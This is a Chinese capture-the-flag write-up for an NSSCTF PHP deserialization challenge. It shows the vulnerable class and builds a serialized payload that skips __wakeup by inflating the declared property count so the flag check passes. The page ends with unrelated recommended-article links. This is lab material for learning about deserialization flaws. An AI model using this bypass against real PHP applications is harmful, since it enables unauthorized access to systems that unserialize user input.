【PHP反序列化】css夺旗赛

https://www.nssctf.cn/problem/429

源码:

bash 复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 
  1. 类结构HaHaHa类有两个属性adminpasswd

  2. 构造函数 :设置默认值admin="user", passwd="123456"

  3. __wakeup魔术方法 :在反序列化时自动调用,对passwd进行sha1加密

  4. __destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag

需要同时满足两个条件才能获取flag:

$this->admin === "admin" && $this->passwd === "wllm"

但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"

解决方案:绕过__wakeup

PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。

构造payload

  1. 首先创建满足条件的对象:
bash 复制代码
<?php
class HaHaHa{
    public $admin;
    public $passwd;
}

$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";

echo serialize($obj);
?>
复制代码

正常序列化字符串: O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

绕过__wakeup的payload:

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以 将属性数量从2改为比实际数量大的数字:3

复制代码
相关推荐
两个人的幸福9 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820712 天前
PHP 扩展——从入门到理解
php
鹏仔先生13 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
LDR00613 天前
Type-C 快充全面升级!LDR6601 赋能个人护理便携电机,重塑剃须刀 / 理发器新体验
c语言·开发语言
雪碧聊技术13 天前
Tree.js是什么?一文讲透
开发语言·javascript·ecmascript
码云数智-园园13 天前
C++20 Modules 模块详解
java·开发语言·spring
swordbob13 天前
NIO的channel中什么是 fd(File Descriptor,文件描述符)
java·开发语言·nio
源分享13 天前
Java线程同步的多种实现方法(非常详细)
java·开发语言·jvm